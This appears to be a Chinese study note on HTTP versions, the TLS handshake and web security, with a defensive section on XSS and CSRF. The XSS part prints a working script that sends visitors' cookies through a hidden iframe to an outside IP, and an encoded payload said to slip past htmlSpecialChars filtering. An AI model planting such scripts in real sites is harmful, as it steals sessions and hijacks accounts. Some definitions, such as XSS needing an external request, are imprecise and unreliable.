0%

HTTP&网络安全篇

本篇文章主要针对常见的一些计算机网络概念进行梳理和总结,便于今后对于web开发的深入理解。

Network

HTTP协议篇

简介

HTTP是基于TCP/IP协议的应用层协议。它不涉及数据报传输,主要规定了客服端与服务器的通信格式,默认使用80端口。

HTTP/1.0

简介

  • 1996年——发布

  • 1.0版本较0.9版本中只有GET命令的情况,还引入了POST和HEAD命令。

  • HTTP请求和回应格式,除了包括数据部分还必须包括头信息即HTTP HEADER(用来描述元数据)

请求格式

请求命令+多行头信息

1
2
3
GET / HTTP/1.0 请求命令
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) 多行头信息
Accept: */* 多行头信息

回应格式

头信息+空行+数据。第一行为协议版本+状态码+状态描述

1
2
3
4
5
6
7
8
9
10
HTTP/1.0 200 OK 第一行
Content-Type: text/plain 从这儿开始是头信息
Content-Length: 137582
Expires: Thu, 05 Dec 1997 16:00:00 GMT
Last-Modified: Wed, 5 August 1996 15:55:28 GMT
Server: Apache 0.84
这个是空行
<html> 从这儿开始是数据
<body>Hello World</body>
</html>

Content-Type 字段

头信息为ASCII码,但数据可以为任意格式。因此需要用**Content-Type告诉客户端该数据的格式**。

常见的Content-Type字段值如下:

1
2
3
4
5
6
7
8
9
10
11
12
text/plain
text/html
text/css
image/jpeg
image/png
image/svg+xml
audio/mp4
video/mp4
application/javascript
application/pdf
application/zip
application/atom+xml

这些数据类型统称为 MIME type,格式为:一级类型/二级类型。

Content-Encoding 字段

由于发送的数据可以为任意格式,因此可以把数据压缩后再发送。**Content-Encoding字段说明数据的压缩方式**。常见压缩方法:

1
2
3
Content-Encoding: gzip
Content-Encoding: compress
Content-Encoding: deflate

同时客户端在请求时,可以说明自己所接受的压缩方式,使用**字段Accept-Encoding**。如下:

1
Accept-Encoding: gzip, deflate

缺点

HTTP/1.0 主要问题是:每个TCP连接只能发送一个请求。数据发送完毕,链接就关闭了。再请求其它资源,就必须再新建一个TCP连接。而TCP连接需要客户端与服务器三次握手,并且开始时由于slow start,速度很慢,因此新建TCP连接成本很高。

为了解决这个问题,部分浏览器使用了非标准字段Connection

1
Connection: keep-alive

上面这个字段要求服务器不要关闭TCP连接,以便其它请求复用,该可复用的TCP连接直到客户端或服务器主动关闭,才会断开。但这种方法并不标准。

HTTP/1.1

从1997沿用至201几,直到HTTPS。

持久连接

  • 1.1版本最大的变化就是引入了持久连接(persistent connection),即TCP连接默认不关闭,可以被多个请求复用,并且不用声明Connection:keep-alive
  • 客户端与服务器之间一段时间没有通信,就会主动关闭连接。但规范做法是,客户端在最后一个请求时,发送Connection: close,明确要求服务器关闭TCP连接。

注:对于同一个域名,大多数浏览器允许同时建立6个持久连接

管道机制

在1.0版本中,在同一个TCP连接里,如果客户端要请求两个资源,会先发送A请求,然后等待服务器回应,收到响应之后再发送B请求

在1.1版本中引入了管道机制(pipelining),其允许浏览器同时发送A请求和B请求,但服务器还是按照顺序,先回应A请求,完成之后再回应B请求。

因此,管道机制使客户端可以在同一个TCP连接中同时发送多个请求

Content-Length 字段

用于声明本次回应的数据长度。

分块传输编码

简言之,就是服务器产生一块数据就发送一块,即采用流模式(stream)取代缓存模式(buffer)。

因此,1.1版本可以不使用Content-Length字段,而使用分块传输编码(chunked transfer encoding)。只要请求或回应的头信息中有Transfer-Encoding字段,就表明回应将由数量未定的数据块组成。

注:每个非空的数据块之前,会有一个16进制的数值来表示这个块的长度。最后是一个大小为0的块,表示本次回应的数据发送完毕。示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

25
This is the data in the first chunk

1C
and this is the second one

3
con

8
sequence

0

其它功能

  • 1.1版本还新增了许多动词方法,如:PUT, PATCH, HEAD, OPTIONS, DELETE
  • 客户端请求头信息新增了HOST字段,用来指定服务器的域名。有了HOST字段就可以将请求发往同一服务器上的不同网站。(为虚拟机兴起打下基础)

缺点

存在队头堵塞(Head-of-line blocking)。尽管允许复用TCP连接,但在同一个TCP连接里,数据通信依然是按次序进行,服务器只有处理完第一个请求的回应,才能进行下一个请求的回应。如果前一个请求的回应很慢,那么后面就会有许多请求排队。

避免队头堵塞的方法有:

1. **减少请求次数**。例如:合并脚本和样式表、将图片嵌入CSS代码
1. **同时多开持久连接**。例如:域名分片(domain sharding)即所需下载可以来自多个域,可以解决并发限制。

HTTP/2

二进制协议

HTTP/1.1版本的头信息是文本(ASCII码),数据体是文本或二进制。但HTTP/2则是一个彻底的二进制协议,头信息和数据体都是二进制,并且统称为“帧”(frame):头信息帧和数据帧。

二进制协议的好处是:可以定义额外的帧。

多工 Multiplexing

在HTTP/2中,在同一个TCP连接中,客户端和浏览器都可以同时发送多个请求和响应,并且不用按照顺序一一对应,这就避免了队头堵塞的问题。

例如:在一个TCP连接中,服务器同时收到A请求和B请求,于是先回应A请求,结果发现处理十分耗时,于是就发送A请求已处理好的部分,接着处理回应B请求,完成之后,再处理发送A请求的剩下的部分。我们称这种双工的、实时的通信多工

数据流

HTTP/2的数据包是不按顺序发送的,同一个连接里面连续的数据包,可能属于不同的回应,因此需要对数据包进行标记,指出它属于哪个回应。

HTTP/2将每个请求或者回应的所有数据包都称为一个数据流(stream)。每个数据流都有一个唯一的编号。数据包发送的时候,必须标记数据流ID,一标识它属于哪个数据流。此外客户端发出的数据流ID一律为奇数,服务端发出的数据流ID一律为偶数。

数据流发送到一半时,客户端和服务器都可以发出信号来取消这个数据流。在HTTP/1.1版本中,取消数据流发送的唯一方法是关闭TCP连接。HTTP/2可以取消某一次请求同时保证TCP连接还是开启的状态,可以被其它请求复用。

客户端还可以指定数据流的优先级,优先级越高,服务器会越早对其回应。

头信息压缩

由于每次请求,很多请求头信息中的字段都是重复的(如Cookie、User Agent等),这会造成很多带宽的浪费。HTTP/2优化了这一点,引入头信息压缩机制。一方面,头信息使用gzip等方法压缩后再发送;另一方面,客户端和服务端维护一张头信息表,该表为字段和索引号的映射,之后就只发送索引号,以提高速度。

服务器推送

HTTP/2允许服务器未收到请求,主动向客户端发送资源。

例如:客户端请求一个包含很多静态资源的网页,服务器会主动把这些静态资源随网页一起发送给客户端,这样就不需要等客户端收到网页后解析HTML发现有静态资源再请求静态资源了。

HTTPS——番外篇

互联网的通信安全是建立在SSL/TLS协议之上的。

:SSL——Secure Sockets Layer, TLS——SSL的升级

使用HTTPS的原因&作用

对比:

  • HTTP不使用SSL/TLS,因此是不加密的通信,所有信息都是明文传播

    1. 窃听风险(eavesdropping):第三方可以截获并获知通信内容
    2. 篡改风险(tampering):第三方可以截获并修改通信内容
    3. 冒充风险(pretending):第三方可以冒充他人身份参与通信
  • 基于SSL/TLS协议的HTTPS的好处

    1. 所有信息都是加密传输——无法被窃听
    2. 具有校验机制——通信内容一旦被篡改,通信双方都能发现
    3. 配备身份证书——防止身份冒充

SSL/TLS协议的基本运行过程

该协议的基本思路为:非对称加密:公钥加密,私钥解密。即客户端先向服务端索要公钥,然后再用公钥加密信息,服务器收到密文后,用自己的私钥解密。

  1. 保证公钥不被篡改的方法

    答:将公钥放入数字证书中,只要证书是可信的,那么公钥就是可信的。

  2. 用公钥加密计算量太大,需要减少耗用时间的方法

    答:每一次对话(session),客户端和服务端会生成一个“对话密钥”(session key),用它来加密信息。由于“对话密钥”是对称加密,因此运算速度非常快,因此如果服务器公钥只用于加密“对话密钥”本身的话,就会大大减少加密运算的消耗时间。

所以,SSL/TLS协议的基本过程是:

  1. 客户端向服务端索要并验证公钥 —— 握手阶段
  2. 双方协商生成“对话密钥” —— 握手阶段
  3. 双方采用“对话密钥”进行加密通信

握手阶段

握手阶段涉及四次通信,该阶段的所有通信都是明文的。

阶段一:客户端发出请求

首先,客户端向服务器发送加密通信请求。其发送的请求内容主要有以下:

  1. 支持的协议版本,例如:TLS 1.0
  2. 客户端生成的随机数,用于稍后生成“对话密钥”
  3. 支持的加密方法,例如:RSA公钥加密
  4. 支持的压缩方法

阶段二:服务器回应

服务器收到客户端请求后,向客户端发出响应。响应内容主要包括以下:

  1. 确认使用的加密通信协议版本。如果双方支持的版本不一致,则服务器会关闭本次加密通信
  2. 服务器生成的随机数,用于稍后生成“对话密钥”
  3. 确认使用的加密方法
  4. 服务器证书

阶段三:客户端回应

客户端收到服务器的响应后,首先要验证服务器的数字证书。

如果1. 证书不可信。2. 证书中的域名与实际域名不一致。3. 证书已经过期,就会向访问者显示一个警告,让其选择是否继续通信。

如果证书没有问题,客户端会从证书中取出服务器的公钥,然后向服务器发送响应,其内容主要如下:

  1. 客户端生成的随机数。该随机数用公钥加密,防止被窃听。
  2. 编码改变通知。表示随后的信息将用双方商定的加密方法和密钥发送。
  3. 客户端握手结束通知。表示客户端的握手阶段结束,这一项也是前面发送的所有内容的hash值,用来供服务器校验。

注:这个阶段生成的随机数是整个握手阶段出现的第三个随机数(”pre-master key”)。有了它之后,客户端和服务器就都同时有了三个随机数,然后双方用事先商定的加密方法,各自生成本次会话所用的同一把“会话密钥”。

阶段四:服务器最后回应

服务器收到第三个随机数之后,会计算生成本次会话所用的“会话密钥”。然后向客户端发送最后响应。其内容主要如下:

  1. 编码改变通知。表示随后的信息将用双方商定的加密方法和密钥发送。
  2. 服务器握手结束通知。表示服务器的握手阶段已经结束。这一项同时也是前面发送的所有内容的hash值,用来供客户端校验。

至此,整个握手阶段全部结束。接下来就是,客户端与服务器进行加密通信,这就完全是使用普通的HTTP协议了,只不过所发送的内容都使用“会话密钥”进行了加密

网络安全篇

XSS——跨站脚本

介绍

XSS,全称为Cross-site scripting,中文名称为跨站脚本,是一种对网络应用程序的安全漏洞的攻击,即是一种代码注入。这类攻击通常包含了HTML和用户脚本语言(主要为JavaScript)。

例如,用JavaScript在网站论坛上发布一段恶意的JavaScript代码,这就是脚本注入,而同时如果这个代码内容有请求外部服务器的功能,那么就叫做XSS。

因此,可以理解为XSS(跨站脚本)= 脚本注入 + 请求外部服务器的功能

示例

例如,在某论坛网站中的发帖内容写下如下代码:

1
2
3
4
5
<script>
while (true) {
alert('一直弹窗')
}
</script>

假设该论坛网站没有任何过滤及其它防御机制的情况下,任何访问这个帖子的用户,都会在客户端界面一直弹出这个弹窗。

这就是最简单的脚本注入。当然这个脚本并没有什么实质性的危害,那么XSS就是基于脚本注入的方法来完成,但它注入的是含有请求跨站功能的脚本。

例如,在上面提到的论坛网站中,注入如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
</script>

该段代码会将任何访问该帖子的用户的cookie传给一个为http://192.168.123.123/myxss/的服务器,该服务器可以拿着这个cookie访问对应的网站,并登录该用户的账号,继而可以进行其它操作。

因此,上面这段代码就是XSS。

CSRF——跨站请求伪造

介绍

CSRF,全称为Cross-site request forgery,中文名为跨站请求伪造。是一种让用户在当前已登录的Web应用程序上执行一些非本意的操作(如改名,删帖,发邮件等)的攻击方法。

攻击原理

一般来说,CSRF是由XSS实现的,在跨站脚本的基础上,实现伪造请求,导致受害者会执行一些自己本不愿意执行的操作。

注:CSRF也可以不通过XSS来实现。

示例

还是以上面的对某论坛网站的XSS攻击为例,在外部服务器成功获得用户的cookie后,它可以利用cookie,伪造成用户对论坛网站发起一系列的请求,例如修改用户名称,修改用户密码等。此时,就可以称该攻击为CSRF。

防范XSS和CSRF⭐️

核心思想:不相信任何外部来源数据!!!

一般来说,大部分的CSRF都是基于XSS的,因此可以说防住了XSS,也就基本防住了CSRF。

对于防范XSS,主要有以下两个方法:

  1. 输入过滤:对外部输入进行彻底的敏感字符过滤——前端+后端
  2. 输出过滤:在显示在页面上时,做一些处理让敏感的代码脚本无法顺利执行——前端

理论上,只要有输入数据的的地方,就存在XSS的漏洞,JavaScript的脚本可以以各种形式(如明文、编码等)注入到数据库中。

就像上面提到的 JS 会以各种非法形式注入,其主要非法形式有两类:

  1. 明文:

    1
    2
    3
    <script>
    ... // js 恶意代码
    </script>

    ​ 要处理好明文注入的过滤。

  2. 编码:

    1
    u0026u006cu0074u003bu0073u0063u0072u0069u0070u0074u0026u0067u0074u003bu0061u006cu0065u0072u0074u0028u0026u0023u0033u0039u003bu6211u662fu0078u0073u0073uff0cu4f60u6709u9ebbu70e6u4e86u0026u0023u0033u0039u003bu0029u0026u006cu0074u003bu002fu0073u0063u0072u0069u0070u0074u0026u0067u0074u003b

    上面这个编码为unicode编码,它可以绕过htmlSpecialChars的过滤并入库,然后在展示该信息的时候,html 会自动将unicode编码转换成明文即真正的可执行脚本。

    由于不仅unicode编码可以注入,其它类型的编码也可以(道理类似),我们需要尽量将页面的字符编码统一设置为一种(如unicode: utf-8),这样便于我们专注于处理unicode编码的注入。

其它一些通用的防范方法

  1. 在输出html时,加上Content Security PolicyHttp Header

    作用:防止页面被XSS攻击时,嵌入第三方的脚本文件

  2. 在设置Cookie时,加上HttpOnly参数

    作用:可以防止页面被XSS攻击时,Cookie信息被盗取

    缺点:网站本身的JavaScript代码也无法操作Cookie

  3. 在开发API时,检验请求的Referer参数

    作用:可以在一定程度上防止CSRF攻击